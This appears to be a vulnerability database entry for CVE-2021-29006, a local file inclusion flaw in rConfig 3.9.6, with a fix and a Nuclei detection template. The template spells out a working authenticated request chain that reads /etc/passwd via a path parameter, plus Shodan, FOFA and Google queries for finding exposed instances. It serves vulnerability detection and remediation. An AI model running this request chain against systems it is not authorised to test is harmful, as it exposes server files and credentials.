Browse / CVEs / CVE-2021-29006
CVE-2021-29006· rconfig / rconfig· CWE-22
rConfig 3.9.6 - Local File Inclusion
mediumseverity
6.5CVSS score
4.9%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it
rConfig 3.9.6 is affected by a Local File Disclosure vulnerability. An authenticated user may successfully download any file on the server.
Impact
Authenticated attackers can read arbitrary files from the server including /etc/passwd, potentially exposing sensitive system information and credentials.
Fix
Upgrade to rConfig version 3.9.7 or later.
How to confirm it
Send: POST /lib/crud/userprocess.php ; GET /dashboard.php ; GET /lib/ajaxHandlers/ajaxGetFileByPath.php?path=/etc/passwd
Positive when: matches in body_3 /root:.*:0:0:/ AND contains in body_2 "rconfig" AND status 200Run it with nuclei: nuclei -id CVE-2021-29006 -u <target>
The full check
id: CVE-2021-29006
info:
name: rConfig 3.9.6 - Local File Inclusion
author: r3Y3r53
severity: medium
description: |
rConfig 3.9.6 is affected by a Local File Disclosure vulnerability. An authenticated user may successfully download any file on the server.
impact: |
Authenticated attackers can read arbitrary files from the server including /etc/passwd, potentially exposing sensitive system information and credentials.
remediation: |
Upgrade to rConfig version 3.9.7 or later.
reference:
- https://github.com/mrojz/rconfig-exploit/blob/main/CVE-2021-29006-POC.py
- https://nvd.nist.gov/vuln/detail/CVE-2021-29006
- http://rconfig.com
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2021-29006
cwe-id: CWE-22
epss-score: 0.04874
epss-percentile: 0.92125
cpe: cpe:2.3:a:rconfig:rconfig:3.9.6:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: rconfig
product: rconfig
shodan-query:
- http.title:"rConfig"
- http.title:"rconfig"
fofa-query: title="rconfig"
google-query: intitle:"rconfig"
tags: cve2021,cve,rconfig,authenticated,lfi,vuln
http:
- raw:
- |
POST /lib/crud/userprocess.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user={{username}}&pass={{password}}&sublogin=1
- |
GET /dashboard.php HTTP/1.1
Host: {{Hostname}}
- |
GET /lib/ajaxHandlers/ajaxGetFileByPath.php?path=/etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body_3
regex:
- 'root:.*:0:0:'
- type: word
part: body_2
words:
- 'rconfig'
- type: status
part: header_3
status:
- 200References
- https://github.com/mrojz/rconfig-exploit/blob/main/CVE-2021-29006-POC.py
- https://nvd.nist.gov/vuln/detail/CVE-2021-29006
- http://rconfig.com
Use this check only on systems you are authorised to test. Where the data comes from